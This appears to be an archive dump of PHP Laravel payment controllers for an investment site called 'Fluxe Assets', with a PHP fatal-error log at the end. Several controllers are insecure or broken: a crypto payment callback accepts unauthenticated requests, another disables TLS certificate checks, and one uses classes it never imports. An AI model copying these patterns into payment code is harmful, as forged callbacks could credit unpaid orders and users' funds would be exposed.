0014727 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App; use URL; use Auth; use Hash; use Config; use Session; use Redirect; use Validator; use Carbon\Carbon; use App\Models\User; use App\Models\Order; use App\Classes\BlockIO; use App\Models\Transaction; use App\Models\Notification; use Illuminate\Http\Request; use App\Classes\GeniusMailer; use App\Models\Generalsetting; use App\Classes\CoinPaymentsAPI; use App\Models\UserNotification; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Invest; use Illuminate\Support\Facades\Input; use App\Models\PaymentGateway; use App\Models\Plan; use Illuminate\Support\Carbon as IlluminateCarbon; use Illuminate\Support\Facades\Session as FacadesSession; use Illuminate\Support\Str; class BlockIoController extends Controller { public function blockioInvest() { return view('user.invest.blockio'); } public function blockiocallback(Request $request) { $notifyID = $request['notification_id']; $amountRec = $request['data']['amount_received']; if (Invest::where('notify_id',$notifyID)->exists()){ $order = Invest::where('notify_id',$notifyID)->where('payment_status','pending')->first(); $data['txnid'] = $request['data']['txid']; $data['payment_status'] = "completed"; $order->update($data); $trans = new Transaction(); $trans->email = auth()->user()->email; $trans->amount = $order->amount; $trans->type = "Invest"; $trans->txnid = $order->transaction_no; $trans->user_id = $order->user_id; $trans->save(); $gs = Generalsetting::findOrFail(1); $user = User::whereId($order->user_id)->first(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Invest", 'cname' => $user->name, 'oamount' => $order->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $order->customer_email; $subject = " You have invested successfully."; $msg = "Hello ".$order->customer_name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } } } function curlGetCall($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec ($ch); curl_close ($ch); return $data; } public function deposit(Request $request) { if($request->amount > 0){ $methods = $request->method; $version = 2; $coin = "BTC"; $my_api_key = ''; if($methods == "block.io.ltc"){ $blockinfo = PaymentGateway::whereKeyword('block.io.ltc')->first(); $blocksettings= $blockinfo->convertAutoData(); $coin = "Litecoin"; $my_api_key = $blocksettings['blockio_api_ltc']; }elseif($methods == "block.io.btc"){ $blockinfo = PaymentGateway::whereKeyword('block.io.btc')->first(); $blocksettings= $blockinfo->convertAutoData(); $coin = "Bitcoin"; $my_api_key = $blocksettings['blockio_api_btc']; }elseif ($methods == "block.io.dgc"){ $coin = "Dogecoin"; $blockinfo = PaymentGateway::whereKeyword('block.io.dgc')->first(); $blocksettings= $blockinfo->convertAutoData(); $my_api_key = $blocksettings['blockio_api_dgc']; } $acc = Auth::user()->id; $item_number = Str::random(4).time();; $item_amount = $request->amount; $currency_code = $request->currency_code; $secret = $blocksettings['secret_string']; $my_callback_url = route('checkout.blockio.notify'); $block_io = new BlockIO($my_api_key, $secret, $version); $biorate = 1; $coin_amount = round($item_amount / $biorate, 8); $root_url = 'https://block.io/api/v2/'; $addObject = $block_io->get_new_address(array()); $address = $addObject->data->address; $notifyObject = $block_io->create_notification(array('type' => 'address', 'address' => $address, 'url' => $my_callback_url)); $notifyID = $notifyObject->data->notification_id; $order = new Invest(); $plan = Plan::whereId($request->plan_id)->first(); $order['transaction_no'] = $item_number; $order['user_id'] = $request->user_id; $order['plan_id'] = $plan->id; $order['currency_id'] = $request->currency_id; $order['method'] = $request->method; $order['coin_amount'] = $coin_amount; $order['notify_id'] = $notifyID; if($request->currency_id){ $currencyValue = Currency::where('id',$request->currency_id)->first(); $order['amount'] = $request->amount/$currencyValue->value; $profitAmount = ($request->amount * $plan->profit_percentage)/100; $order['profit_amount'] = $profitAmount/$currencyValue->value; } if($plan->lifetime_return){ $order['lifetime_return'] = 1; } if($plan->captial_return){ $order['capital_back'] = 1; $order['profit_repeat'] = 0; } $order['payment_status'] = "pending"; $order['status'] = 0; $order['profit_time'] = IlluminateCarbon::now()->addHours($plan->schedule_hour); $order->save(); $qrcode_url = "https://chart.googleapis.com/chart?chs=250x250&cht=qr&chl=bitcoin:".$address."?amount=".$coin_amount."&choe=UTF-8"; Session::put(['address' => $address,'coin' => $coin,'qrcode_url' => $qrcode_url,'amount' => $coin_amount,'currency_value' => $item_amount,'currency_sign' => $request->currency_sign,'accountnumber' => $acc]); return redirect()->route('blockio.invest'); } return redirect()->back()->with('error','Please enter a valid amount.')->withInput(); } } Controllers/Checkout/ManualController.php 0000644 00000020443 15111246742 0014617 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\Plan; use App\Models\Referral; use App\Models\ReferralBonus; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Session; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; use Illuminate\Support\Str; class ManualController extends Controller { public $gs; public $allusers = []; public $referral_ids = []; public function __construct() { $this->gs = Generalsetting::findOrFail(1); } public function store(Request $request){ $item_name = $this->gs->title." Invest"; $item_number = Str::random(4).time(); $item_amount = $request->amount; $order = new Invest(); $plan = Plan::whereId($request->plan_id)->first(); $order['transaction_no'] = $item_number; $order['user_id'] = $request->user_id; $order['plan_id'] = $plan->id; $order['currency_id'] = $request->currency_id; $order['method'] = $request->method; if($request->currency_id){ $currencyValue = Currency::where('id',$request->currency_id)->first(); $order['amount'] = $request->amount/$currencyValue->value; $profitAmount = ($request->amount * $plan->profit_percentage)/100; $order['profit_amount'] = $profitAmount/$currencyValue->value; } if($plan->lifetime_return){ $order['lifetime_return'] = 1; } if($plan->captial_return){ $order['capital_back'] = 1; $order['profit_repeat'] = 0; } $order['payment_status'] = "pending"; $order['status'] = 0; $order['profit_time'] = Carbon::now()->addHours($plan->schedule_hour); $order['txnid'] = $request->txn_id4; $order->save(); $user = User::whereId($order->user_id)->first(); $this->gs = Generalsetting::findOrFail(1); $to = $user->email; $subject = 'Your Investment is Being Processed'; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Your Investment is Being Processed</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>Thank you for choosing an investment plan with <strong>Fluxe Assets</strong>.</p> <p>Your investment is currently being processed. Once confirmed, profits will begin accruing based on your selected plan.</p> <p>You can view your investment status and details anytime in your dashboard:</p> <a href="https://fluxeassets.com/user/login" class="email-button" target="_blank">Access Your Dashboard</a> <p style="margin-top: 30px;">Thank you for your trust in us.<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; if($this->gs->is_smtp == 1) { $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = $this->gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $this->gs->smtp_user; $mail->Password = $this->gs->smtp_pass; if ($this->gs->smtp_encryption == 'ssl') { $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; } else { $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mail->Port = $this->gs->smtp_port; $mail->CharSet = 'UTF-8'; $mail->setFrom($this->gs->from_email, $this->gs->from_name); $mail->addAddress($user->email, $user->name); $mail->addReplyTo($this->gs->from_email, $this->gs->from_name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { } } else { $headers = "From: ".$this->gs->from_name."<".$this->gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); } } Controllers/Checkout/MollieController.php 0000644 00000005261 15111246742 0014624 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Http\Controllers\Controller; use Session; use Auth; use Str; use Illuminate\Http\Request; use Mollie\Laravel\Facades\Mollie; use App\Repositories\OrderRepository; class MollieController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $support = [ 'AED', 'AUD', 'BGN', 'BRL', 'CAD', 'CHF', 'CZK', 'DKK', 'EUR', 'GBP', 'HKD', 'HRK', 'HUF', 'ILS', 'ISK', 'JPY', 'MXN', 'MYR', 'NOK', 'NZD', 'PHP', 'PLN', 'RON', 'RUB', 'SEK', 'SGD', 'THB', 'TWD', 'USD', 'ZAR' ]; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Or EUR Currency For Paypal.'); } $item_amount = $request->amount; $input = $request->all(); $item_name = "Deposit via Molly Payment"; $payment = Mollie::api()->payments()->create([ 'amount' => [ 'currency' => $request->currency_code, 'value' => ''.sprintf('%0.2f', $item_amount).'', ], 'description' => $item_name , 'redirectUrl' => route('checkout.molly.notify'), ]); Session::put('molly_data',$input); Session::put('payment_id',$payment->id); $payment = Mollie::api()->payments()->get($payment->id); return redirect($payment->getCheckoutUrl(), 303); } public function notify(Request $request){ $input = Session::get('molly_data'); $item_number = Str::random(4).time(); $payment = Mollie::api()->payments()->get(Session::get('payment_id')); if($payment->status == 'paid'){ $addionalData = ['txnid'=>$item_number]; $this->orderRepositorty->order($request,'running',$addionalData); Session::forget('molly_data'); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); } else { return redirect()->route('user.invest.checkout')->with('warning','Something went wrong!'); } return redirect()->route('user.invest.checkout')->with('warning','Something went wrong!'); } } Controllers/Checkout/CoinPaymentController.php 0000644 00000017143 15111246742 0015633 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Http\Controllers\Controller; use App\Classes\CoinPaymentsAPI; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\Plan; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class CoinPaymentController extends Controller { public function blockInvest() { return view('user.coinpay'); } public function coinCallback(Request $request) { Session::put('check_txn',$request->all()); $blockinfo = PaymentGateway::whereKeyword('coinPayment')->first(); $blocksettings= $blockinfo->convertAutoData(); $real_secret = $blocksettings['secret_string']; $trans_id = $request->custom; $status = $request->status; $amount2 = floatval($request->amount2); $currency2 = $request->currency2; $getSec = Input::get('secret'); if ($real_secret == $getSec){ if (Order::where('order_number',$trans_id)->exists()){ $order = Order::where('order_number',$trans_id)->where('payment_status','pending')->first(); if ($status >= 100 || $status == 2) { if ($currency2 == "BTC" && $order->coin_amount <= $amount2) { $data['payment_status'] = "completed"; $order->update($data); $notification = new Notification; $notification->order_id = $order->id; $notification->save(); $trans = new Transaction; $trans->email = $order->customer_email; $trans->amount = $order->invest; $trans->type = "Invest"; $trans->txnid = $order->order_number; $trans->user_id = $order->user_id; $trans->save(); $notf = new UserNotification; $notf->user_id = $order->user_id; $notf->order_id = $order->id; $notf->type = "Invest"; $notf->save(); $gs = Generalsetting::findOrFail(1); if($gs->is_affilate == 1) { $user = User::find($order->user_id); if ($user->referral_id != 0) { $val = $order->invest / 100; $sub = $val * $gs->affilate_charge; $sub = round($sub,2); $ref = User::find($user->referral_id); if(isset($ref)) { $ref->income += $sub; $ref->update(); $trans = new Transaction; $trans->email = $ref->email; $trans->amount = $sub; $trans->type = "Referral Bonus"; $trans->txnid = $order->order_number; $trans->user_id = $ref->id; $trans->save(); } } } if($gs->is_smtp == 1) { $data = [ 'to' => $order->customer_email, 'type' => "Invest", 'cname' => $order->customer_name, 'oamount' => $order->order_number, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $order->customer_email; $subject = " You have invested successfully."; $msg = "Hello ".$order->customer_name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } } } } } } public function deposit(Request $request) { $generalsettings = Generalsetting::findOrFail(1); $blockinfo = PaymentGateway::whereKeyword('coinPayment')->first(); $blocksettings= $blockinfo->convertAutoData(); if($request->amount > 0){ $acc = Auth::user(); $item_number = Str::random(12); $item_amount = $request->amount; $currency_code = $request->currency_code; $public_key =$blocksettings['public_key']; $private_key = $blocksettings['private_key']; $req['version'] = 1; $req['cmd'] = "get_callback_address"; $req['currency'] = $request->currency_code; $req['ipn_url'] = route('checkout.coinpay.notify'); $req['key'] = $public_key; $req['format'] = 'json'; $post_data = http_build_query($req, '', '&'); $hmac = hash_hmac('sha512', $post_data, $private_key); $ch = curl_init('https://www.coinpayments.net/api.php'); curl_setopt($ch, CURLOPT_FAILONERROR, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array('HMAC: '.$hmac)); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $data = json_decode(curl_exec($ch)); $order = new Invest(); $plan = Plan::whereId($request->plan_id)->first(); $order['transaction_no'] = $item_number; $order['user_id'] = $request->user_id; $order['plan_id'] = $plan->id; $order['currency_id'] = $request->currency_id; $order['method'] = $request->method; if($request->currency_id){ $currencyValue = Currency::where('id',$request->currency_id)->first(); $order['amount'] = $request->amount/$currencyValue->value; $profitAmount = ($request->amount * $plan->profit_percentage)/100; $order['profit_amount'] = $profitAmount/$currencyValue->value; } if($plan->lifetime_return){ $order['lifetime_return'] = 1; } if($plan->captial_return){ $order['capital_back'] = 1; $order['profit_repeat'] = 0; } $order['payment_status'] = "pending"; $order['notify_id'] = $data->result->address; $order['status'] = 0; $order['profit_time'] = Carbon::now()->addHours($plan->schedule_hour); $order->save(); return redirect()->back()->with('success',$data->result->address); // return redirect()->route('checkout.coinpay.invest'); } else { // return redirect()->back()->with('unsuccess', $result['error'])->withInput(); } } } Controllers/Checkout/PaypalController.php 0000644 00000010600 15111246742 0014622 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use Illuminate\Http\Request; use Omnipay\Omnipay; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Session; use App\Repositories\OrderRepository; use Illuminate\Support\Str; class PaypalController extends Controller { private $_api_context; public $orderRepositorty; public $gateway; public function __construct(OrderRepository $orderRepositorty) { $data = Paymentgateway::whereKeyword('paypal')->first(); $paydata = $data->convertAutoData(); $this->gateway = Omnipay::create('PayPal_Rest'); $this->gateway->setClientId($paydata['client_id']); $this->gateway->setSecret($paydata['client_secret']); $this->gateway->setTestMode(true); $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $cancel_url = route('checkout.paypal.cancel'); $notify_url = route('checkout.paypal.notify'); $gs = Generalsetting::findOrFail(1); $item_name = $gs->title." Invest"; $item_number = Str::random(4).time(); $item_amount = $request->amount; $support = ['USD','EUR']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Or EUR Currency For Paypal.'); } $addionalData = ['item_number'=>$item_number]; $this->orderRepositorty->order($request,'pending',$addionalData); $currency = Currency::whereId($request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; try { $response = $this->gateway->purchase(array( 'amount' => $amountToAdd, 'currency' => $request->currency_code, 'returnUrl' => $notify_url, 'cancelUrl' => $cancel_url, ))->send(); if ($response->isRedirect()) { $gs = Generalsetting::findOrFail(1); $item_name = $gs->title." Subscription"; $addionalData = ['subscription_number'=>$item_number]; Session::put('paypal_data',$request->all()); Session::put('order_number',$item_number); if ($response->redirect()) { /** redirect to paypal **/ return redirect($response->redirect()); } } else { return redirect()->back()->with('unsuccess', $response->getMessage()); } } catch (\Throwable$th) { return redirect()->back()->with('unsuccess', $response->getMessage()); } } public function notify(Request $request) { $responseData = $request->all(); if (empty($responseData['PayerID']) || empty($responseData['token'])) { return redirect()->back()->with('error', 'Payment Failed'); } $transaction = $this->gateway->completePurchase(array( 'payer_id' => $responseData['PayerID'], 'transactionReference' => $responseData['paymentId'], )); $response = $transaction->send(); $request = Session::get('paypal_data'); $trx = Session::get('order_number'); if ($response->isSuccessful()) { $order = Invest::where('transaction_no',$trx)->where('payment_status','pending')->first(); $data['txnid'] = $response->getData()['transactions'][0]['related_resources'][0]['sale']['id']; $data['payment_status'] = "completed"; $data['status'] = 1; $order->update($data); $this->orderRepositorty->callAfterOrder($request,$order); Session::forget('paypal_data'); Session::forget('paypal_payment_id'); Session::forget('order_number'); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); } else { return redirect()->back()->with('error', __('Payment failed')); } } public function cancel(){ return redirect()->route('user.invest.checkout')->with('warning','Something went wrong!'); } } Controllers/Checkout/AuthorizeController.php 0000644 00000010570 15111246742 0015354 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Http\Controllers\Controller; use Illuminate\Support\Str; use Illuminate\Http\Request; use App\Models\PaymentGateway; use App\Models\Generalsetting; use App\Repositories\OrderRepository; use Illuminate\Support\Facades\Validator; use net\authorize\api\contract\v1 as AnetAPI; use net\authorize\api\controller as AnetController; class AuthorizeController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $support = ['USD']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Currency For Authorize.'); } $settings = Generalsetting::find(1); $authorizeinfo = PaymentGateway::whereKeyword('authorize.net')->first(); $authorizesettings= $authorizeinfo->convertAutoData(); $item_name = $settings->title." Order"; $item_number = Str::random(4).time(); $item_amount = $request->amount; $validator = Validator::make($request->all(),[ 'cardNumber' => 'required', 'cardCVC' => 'required', 'month' => 'required', 'year' => 'required', ]); if ($validator->passes()) { $merchantAuthentication = new AnetAPI\MerchantAuthenticationType(); $merchantAuthentication->setName($authorizesettings['login_id']); $merchantAuthentication->setTransactionKey($authorizesettings['txn_key']); $refId = 'ref' . time(); $creditCard = new AnetAPI\CreditCardType(); $creditCard->setCardNumber(str_replace(' ','',$request->cardNumber)); $year = $request->year; $month = $request->month; $creditCard->setExpirationDate($year.'-'.$month); $creditCard->setCardCode($request->cardCVC); $paymentOne = new AnetAPI\PaymentType(); $paymentOne->setCreditCard($creditCard); $orderr = new AnetAPI\OrderType(); $orderr->setInvoiceNumber($item_number); $orderr->setDescription($item_name); $transactionRequestType = new AnetAPI\TransactionRequestType(); $transactionRequestType->setTransactionType("authCaptureTransaction"); $transactionRequestType->setAmount($item_amount); $transactionRequestType->setOrder($orderr); $transactionRequestType->setPayment($paymentOne); $requestt = new AnetAPI\CreateTransactionRequest(); $requestt->setMerchantAuthentication($merchantAuthentication); $requestt->setRefId($refId); $requestt->setTransactionRequest($transactionRequestType); $controller = new AnetController\CreateTransactionController($requestt); if($authorizesettings['sandbox_check'] == 1){ $response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::SANDBOX); } else { $response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::PRODUCTION); } if ($response != null) { if ($response->getMessages()->getResultCode() == "Ok") { $tresponse = $response->getTransactionResponse(); if ($tresponse != null && $tresponse->getMessages() != null) { $addionalData = ['item_number'=>$item_number,'txnid'=>$tresponse->getTransId()]; $this->orderRepositorty->order($request,'running',$addionalData); return redirect()->route('user.invest.history')->with('message','Invest Successfully Complete.'); } else { return redirect()->back()->with('warning', 'Payment Failed.'); } } else { return redirect()->back()->with('warning', 'Payment Failed.'); } } else { return redirect()->back()->with('warning', 'Payment Failed.'); } } return redirect()->back()->with('warning', 'Invalid Payment Details.'); } } Controllers/Checkout/CoinGateController.php 0000644 00000016037 15111246742 0015077 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\Plan; use App\Models\Transaction; use App\Models\User; use CoinGate\CoinGate; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class CoinGateController extends Controller { public function coingetCallback(Request $request) { $trans_id = $request->order_id; if ($request->status == 'paid') { if (Invest::where('transaction_no',$trans_id)->where('payment_status','pending')->exists()){ $deposits = $request->receive_amount; $order = Invest::where('transaction_no',$trans_id)->where('payment_status','pending')->first(); $data['coin_amount'] = $request->pay_amount; $data['status'] = 1; $data['payment_status'] = "completed"; $data['txnid'] = $request->token; $order->update($data); $user = User::whereId($order->user_id)->first(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $order->amount; $trans->type = "Invest"; $trans->txnid = $order->transaction_no; $trans->user_id = $order->user_id; $trans->save(); $gs = Generalsetting::findOrFail(1); if($gs->is_affilate == 1) { $user = User::find($order->user_id); if ($user->referral_id != 0) { $val = $order->invest / 100; $sub = $val * $gs->affilate_charge; $sub = round($sub,2); $ref = User::find($user->referral_id); if(isset($ref)) { $ref->income += $sub; $ref->update(); $trans = new Transaction; $trans->email = $ref->email; $trans->amount = $sub; $trans->type = "Referral Bonus"; $trans->txnid = $order->order_number; $trans->user_id = $ref->id; $trans->save(); } } } if($gs->is_smtp == 1) { $data = [ 'to' => $order->customer_email, 'type' => "Invest", 'cname' => $order->customer_name, 'oamount' => $order->order_number, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $order->customer_email; $subject = " You have invested successfully."; $msg = "Hello ".$order->customer_name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } // return "*ok*"; } } } public function deposit(Request $request) { $generalsettings = Generalsetting::findOrFail(1); $blockinfo = PaymentGateway::whereKeyword('coingate')->first(); $blocksettings= $blockinfo->convertAutoData(); if($request->amount > 0){ $acc = Auth::user(); $item_number = Str::random(12); $item_amount = $request->amount; $currency_code = $request->currency_code; $item_name = $generalsettings->title." Invest"; $my_callback_url = route('checkout.coingate.notify'); $return_url = route('user.dashboard'); $cancel_url = route('checkout.paypal.cancel'); CoinGate::config(array( 'environment' => 'sandbox', // sandbox OR live 'auth_token' => $blocksettings['secret_string'] )); $post_params = array( 'order_id' => $item_number, 'price_amount' => $item_amount, 'price_currency' => $currency_code, 'receive_currency' => $currency_code, 'callback_url' => $my_callback_url, 'cancel_url' => $cancel_url, 'success_url' => $return_url, 'title' => $item_name, 'description' => 'Invest' ); $coinGate = \CoinGate\Merchant\Order::create($post_params); if ($coinGate) { $order = new Invest(); $plan = Plan::whereId($request->plan_id)->first(); $order['transaction_no'] = $item_number; $order['user_id'] = $request->user_id; $order['plan_id'] = $plan->id; $order['currency_id'] = $request->currency_id; $order['method'] = $request->method; if($request->currency_id){ $currencyValue = Currency::where('id',$request->currency_id)->first(); $order['amount'] = $request->amount/$currencyValue->value; $profitAmount = ($request->amount * $plan->profit_percentage)/100; $order['profit_amount'] = $profitAmount/$currencyValue->value; } if($plan->lifetime_return){ $order['lifetime_return'] = 1; } if($plan->captial_return){ $order['capital_back'] = 1; $order['profit_repeat'] = 0; } $order['coin_amount'] = 1; $order['payment_status'] = "pending"; $order['status'] = 0; $order['profit_time'] = Carbon::now()->addHours($plan->schedule_hour); $order->save(); return redirect($coinGate->payment_url); } else { return redirect()->back()->with('unsuccess','Some Problem Occurrs! Please Try Again'); } } return redirect()->back()->with('unsuccess','Please enter a valid amount.')->withInput(); } } Controllers/Checkout/error_log 0000644 00000116663 15111246742 0012554 0 ustar 00 [19-Nov-2025 23:37:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php on line 20 [19-Nov-2025 23:42:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php on line 34 [19-Nov-2025 23:43:12 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php on line 15 [19-Nov-2025 23:44:15 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php on line 14 [19-Nov-2025 23:47:30 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php on line 15 [19-Nov-2025 23:48:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php on line 20 [19-Nov-2025 23:49:39 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php on line 11 [19-Nov-2025 23:50:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php on line 15 [19-Nov-2025 23:51:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [19-Nov-2025 23:53:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php on line 17 [19-Nov-2025 23:59:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php on line 13 [20-Nov-2025 00:00:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php on line 17 [20-Nov-2025 00:01:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php on line 15 [20-Nov-2025 00:17:12 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php on line 15 [20-Nov-2025 00:18:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in 